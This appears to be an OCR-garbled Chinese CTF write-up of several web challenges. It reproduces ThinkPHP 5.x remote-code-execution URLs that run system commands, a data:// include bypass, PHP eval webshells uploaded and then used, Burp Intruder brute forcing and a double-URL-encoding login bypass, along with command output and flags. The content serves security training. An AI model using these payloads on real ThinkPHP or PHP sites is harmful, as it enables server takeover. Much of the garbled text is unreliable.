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Repositories (22 22 repository results Sort: Best match ~
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B SkyBlueEternal/thinkphp-RCE-POC-Collection
Commits @ . s=gmn = N
thinkphp v5.x IRFSHTIRIE-POCES
lssues 60 ) ¥% 895  Updated on 15 Jan 2019
Discussions 0
£ oneoy/thinkphp-RCE-POC
Packages 0 . IS R ~
thinkphp v5.x EEFSHTIRIE-POCES
Marketplace 0 17 Updated on 6 Aug 2019
Topics 0
B mntnOx/thinkphpV5-rce
Wikis (6] ntn0x/thinkp P
ThinkPHP V5.* reei@iRRUEIZ
Users 0 e @ Python  GPL-3.0 license  Updated on 29 Apr 2019
Languages B sakuradied/ThinkPHP_rce_EXP
otp . FAPython34REAIThinkPHP V5.0.20_rec imiEiGNI T E
w1 @ Python  Updated on 6 Mar 2020
HTML 5
Python 2

[ ZhangBarry825/thinkphp5-master
JavaScript 1 ThinkPHP V5
@PHP  Updated on 3 Aug 2018

Advanced search  Cheat sheet
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1. https://blog.thinkphp.cn/869075

2. https://blog.thinkphp.cn/910675

POC: Packag
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thinkphp 5.0.22

1. http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2. http://192.168.1.1/thinkphp/public/?s=.[think\config/get&name=database.password
3. http://url/to/thinkphp_5.0.22/?

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&uvars[1][]=id
4. http://url/to/thinkphp_5.0.22/?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5

5. http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?
%3E&data=1
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6. http://localhost/thinkphp_5.0.21/?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&uvars[1][]=id
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uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
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LOAD SPLIT EXECUTE TEST ~ sQLl - XSS -~ (A SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://111.200.241.244:57634/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
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?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=1s

?s=index/\think\app/invokefunction&function=call _user_func_array&vars[0]=system&vars[1][]=1ls ../../../

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
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URL
http://111.200.241.244:57634/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../
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?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac ../..
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flag{thinkphp5 _rce} flag{thinkphp5_rce}
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LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS ~ EEIR SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://111.200.241.244:57634/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac ../../../flag

/../flag
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Web_php_include

<?php

show_source(__FILE_);

echo $_GET['hello'];

$page=$_GET[ 'page'];

while (strstr($page, "php://")) {

$page=str_replace("php://", "", $page);
)
include($page);
?>

XFHinclude s, — AT UAE B Oy il kgetshell, X EUET php:// , {BREA data:// , FAIHEpayloadin

?page=data://text/plain,<?php system("lLs")?>
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<{?php

show_source (__FILE_ ) :

echo $_GET[ hello’ ];

$page=$_GET[ page’ 1;

while (strstr($page, “php://")) |
$page=str_replace ("php://”, """, $page):

include ($page) ;
2

fldgisisish3r3.php index.php phpinfo.php
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LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS ~ LFI ~ SSTI ~ SHELL -~ ENCODING ~ HAS

URL
http://111.200.241.244:54085/?page=data://text/plain,<?php system("ls")?>
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’page=data://text/plain,<?php @eval ($_POST[1])?>
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™ %i%E: /var/www/fl4gisisish3r3.php

[var/www/fl4gisisish3r3.php

1 <«?php
2 $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
3
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In this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!

E BE N % ZZrobots i, T RAIETE robots. txt

& C O A ~Z£2 | 111.200.241.244:54783/robots.txt
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User—agent: *
Disallow: /f10g.php

User—agent: Yandex
Disallow: *
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cyberpeace{ebe2eaaab713d326bdf35c1d2d5a0ded}
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robotsti i robots. txt (—/N5) B —FFR T MEkR B T MASCIIYRAS I STA SO
robots. txt X5k

User-agent: * XEMMRRMTAMERIIEME, 22— NERF

Disallow: /admin/ XHEEZEEIEEFadmin B NHMEF

Disallow: /require/ XHEXRZEI€IFrequireHF TFHKHF

Disallow: /ABC/ XHEENRZILCIFABCEFTHKHEZR

Disallow: /cgi-bin/.htm ZEib5i/cgi-bin/BR TFHIFALL" . htm" NERMURL(EEFHEHZR).
Disallow: /?* ZEILPFRMMEFAERERS (?) MMIE

Disallow: /.jpg$ ZEILINEXMITFTE 1. jpet& NI E A

Disallow:/ab/adc.html ZEIEJEHE ab O R Kadce. html X,

Allow: /cgi-bin/ XHEENRAFICTFcgi-binHFTHEHMHEZF

Allow: /tmp XEENRZAFIEIFtmpHEEANHF

Allow: .htm$ XARHFVFRLL" . htm" NEZKHFIURL.

Allow: .gif$ FVFINEUN T Mgifie=EH

Sitemap: PUuiHhFE I HIX AN TTTH =2 P ik 1
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R RE —FHRE, BRANEFIRREKRindex.php

/11>
<1i class="layui-nav-item layui-nav—-itemed”>
<a class="javascript::” href="javascript:: > AKEIE</a>
<dl class="layui—nav-child”>
{dd class="">
{a href="index. php" >R L {r</a>
</dd>
{dd class="">
{a href="">&RER/a>
</dd>
</d1>

ik
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Target | Positions PayloadsTOptionsl

l ?2 | Payload Positions Start attac
~ Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Attack type: Sniper ﬂ
GET /index.php?id=8§1§ HTTP/1.1 ) Add §
Host: 111.200.241.244:58533
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 CIcanS)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*,q=0.8 Auto §
/Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 —
/Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Refresh

[Tarqet [ Positions I Pavloads W Obtions 1
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m Payload Sets

You can define one or more payload sets. The number of payload sets dep
can be customized in different ways.

Payload set: ‘1 + Payload count: 3,000

Payload type: ‘ Numbers + Request count: 3,000

\Z/ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in :

Number range

Type: @ Sequential © Random
From: 1

To: 3000

Step: 1

How many:

Number format

Base: ® Decimal ©OHex

Min integer digits:

IEFE numbers , M1EI3000, |—HEMEENT, W2 Uid A1ZE]3000

Attack Save Columns

:JResults ‘Target X Positions [ Payloads ‘Options ‘

‘Filter: Showing all items
|

Request 'Payload |Status \Error ‘Timeout  |Length +/Comment
2333 2333 200 g g 1901
0 200 o o 1866
1 1 200 g a 1866
2 2 200 a a 1866
3 3 200 g a 1866
4 4 200 =] g 1866
‘ 5 5 200 m] m] 1866
16 6 200 g a 1866
7 7 200 g a 1866
8 8 200 S o 1866
9 9 200 =] =] 1866
10 10 200 8] 8] 1866




11 11 200 8 @ 1866
12 12 200 m m 18ARA

: {RequesﬂResponse}

J Raw[ Headers [ Hex [ HTML [ Render }

elem: '#test10’
Jtype: 'datetime’
,range: true

hi

N

</script>
</body>

</html>

cyberpeace{91b32e7ef0a090d2d0b89a6caf3317a9}
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Can you anthenticate to this website?

HANEGHEARRMNETRERFT, REXMER, XEEMEE— T (indexphpsiE B CHINEI #1874 B )
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8. (% CPUEED + 6Eify (B DIR: 448339 B sSPY: 45E7G B Emzoo
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e (3 BEETTIEHER) g me: so71 @ IP: 19739 WE= e
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1 http: /111,200, 241, 24452011 findex. phy 200
z http: /7111, 200, 241, 24462011 findex. php= 200

iJj lalindex.phps )& 158 25 15
<?php

if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");

exit();
)
$ GET[id] = urldecode($ GET[id]);
if($_GET[id] == "admin")
{

echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";

?>

Can you anthenticate to this website?




X B BRA T adminBE AT —kurlZ i3 B0 AT (R 55 SRS — IR, RIS B A#RD—IK)
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" Burp Suite Professional v1.7.31 - Temporary Project - text - o X
Burp Intruder Repeater Window Help

"TargetIProxy[SpideriScannerwIntruder[RepeaterISequencer Decoder ComparerwExtenderIF'roject optionsWUser optionsIAlertsWCSRF Token Tracker

admin @Text OHex | 7

Decodeas ... -
Encodeas ... -
Hash ... -

| Smart decode |

%61%64%6d%69%6e ®Text O Hex

Decodeas ... -
Encodeas ... -
Hash ... -

| Smart decode |

%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 ®Text OHex

‘Decode as .. v‘

B 3flag

Access granted!
Key: cyberpeace{679c4a03b89c2ebfb1fb6574e041ffb3}

Can you anthenticate to this website?

Ik O] | 7E #=He BB WE M K& WH  lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ X8S ~ LFI ~ SSTI ~ SHELL ~ ENC

URL
http://111.200.241.244:52011/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

upload1
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Request

Jm] Params [ Headers [ Hex |

Response

Headers |Hex

POST /index.php HTTP/1.1

Host: 111.200.241.244:50469

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;,q=0.9,image/avif,image/webp,*/*;,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=------=-=s=nemeememanaanan 357280341622914112282975916655

Content-Length: 252

Origin: http://111.200.241.244:50469

Connection: close

Referer: http://111.200.241.244:50469/index.php

Upgrade-Insecure-Requests: 1

357280341622914112282975916655
Content-Disposition: form-data; name="upfile"; filename="2.php"
Content-Type: image/png

<?php @eval($_POST[1]);phpinfo()?>
357280341622914112282975916655--

& 5> C 0O A FZ2| 111.200.241.244:50469/upload/1650277688.2.php
AeER

code BT codefflE@ codeif) hexo&ft, R IENZRIASS

?> $flag="cyberpeace{7d82d2eba812611dffea36127a7247a9}";

FIMWR

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2022 10:28:08 GMT
Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/5.6.37
Vary: Accept-Encoding

Content-Length: 956
Connection: close
Content-Type: text/html; charset=UTF-8

upload success : upload/1650277688.2.php

<!Doctype html>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script type="text/javascript" >

Array.prototype.contains = function (obj) {

var i = this.length;

59 @ MRCTF2022

Php

System

Linux e4082c933603 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64

Build Date Sep 8 2018 00:04:13

Configure Command

*./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-
scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ '--enable-ftp' '--
enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib" "--with-
libdir=lib/x86_64-linux-gnu’ '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-fstack-
protector-strong '-fpic’ '-fpie' '-O2" 'LDFLAGS=-WI,-O1 '-WI,--hash-style=both' '-pie" 'CPPFLAGS=-fstack-
protector-strong '-fpic’ '-fpie’ '-02"

Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/local/etc/php
Loaded Configuration File (none)
R ]| 7= #Hs BASB W&  ME A% B Lghthouse  HackBar
LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ LFlI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~
URL
http://111.200.241.244:50469/upload/1650277688.2.php
enctype
@@ cnable POST application/x-www-form-urlencoded ADD HEADER
Body

1=system("tac ../flag.php");
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